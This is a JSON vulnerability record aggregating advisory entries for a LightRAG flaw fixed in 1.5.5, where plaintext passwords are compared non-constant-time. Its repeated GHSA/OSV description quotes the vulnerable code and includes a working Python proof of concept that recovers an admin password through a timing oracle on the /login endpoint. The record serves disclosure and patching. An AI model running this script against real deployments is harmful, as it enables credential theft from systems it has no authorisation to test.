{"id":"CVE-2026-85725","aliases":["EUVD-2026-84546","GHSA-c759-cx9p-mrwq","PYSEC-2026-4061"],"status":"published","title":"LightRAG: Plaintext Passwords Compared Without Constant-Time Function","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00446,"percentile":0.39265,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-208"],"published":"2026-09-22T16:16:36Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"PyPI","package":"lightrag-hku","fixed_in":["1.5.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.5.4"},{"fixed":"1.5.5"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"]},{"source":"osv","ecosystem":"PyPI","package":"lightrag-hku","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.5"}]}],"versions":["0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9","1.0.0","1.0.1","1.0.3","1.0.5","1.0.6","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.2.1","1.2.2","1.2.3","1.2.5","1.2.6","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.1","1.4.10","1.4.11","1.4.11rc2","1.4.12","1.4.12rc1","1.4.13","1.4.13rc1","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8.1","1.4.8.2","1.4.8rc4","1.4.8rc6","1.4.8rc7","1.4.8rc8","1.4.8rc9","1.4.9","1.4.9.1","1.4.9.10","1.4.9.11","1.4.9.2","1.4.9.3","1.4.9.4","1.4.9.4rc1","1.4.9.5","1.4.9.6","1.4.9.7","1.4.9.8","1.4.9.9","1.4.9rc1","1.4.9rc2","1.4.9rc3","1.4.9rc4","1.5.0","1.5.0rc1","1.5.0rc2","1.5.0rc3","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5rc1"]}],"products":[{"vendor":"hkuds","product":"lightrag"}],"references":[{"url":"https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/HKUDS/LightRAG/pull/3423","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85725","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c759-cx9p-mrwq","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85725.json","tags":["advisory"]},{"url":"https://github.com/HKUDS/LightRAG","tags":["package"]},{"url":"https://pypi.org/project/lightrag-hku","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-85725","title":"LightRAG: Plaintext Passwords Compared Without Constant-Time Function","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:16:36.326Z","modified":"2026-09-25T23:43:12.253Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-208"],"updated_at":"2026-11-02T14:19:52.773089Z"}],"euvd":[{"id":"EUVD-2026-84546","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:16:36Z","modified":"2026-09-25T23:43:12Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T17:27:54.622662Z"}],"ghsa":[{"id":"GHSA-c759-cx9p-mrwq","title":"lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function","description":"### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.","status":"published","published":"2026-09-22T20:40:19Z","modified":"2026-09-22T20:40:20Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-208"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-85725","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T17:17:27.203Z","modified":"2026-09-26T00:16:37.513Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-208"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-85725","title":"LightRAG: Plaintext Passwords Compared Without Constant-Time Function","description":"LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.","status":"published","published":"2026-09-22T16:16:36.326Z","modified":"2026-10-28T02:30:48.973311602Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-208"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-c759-cx9p-mrwq","title":"lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function","description":"### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.","status":"published","published":"2026-09-22T20:40:19Z","modified":"2026-10-01T17:55:55.036612025Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-208"],"updated_at":"2026-11-02T15:46:44.571161Z"},{"id":"PYSEC-2026-4061","title":"lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function","description":"### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -\u003e bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://\u003cTARGET\u003e:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -\u003e float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.","status":"published","published":"2026-10-01T16:38:37.356906Z","modified":"2026-10-01T17:45:03.126468924Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}
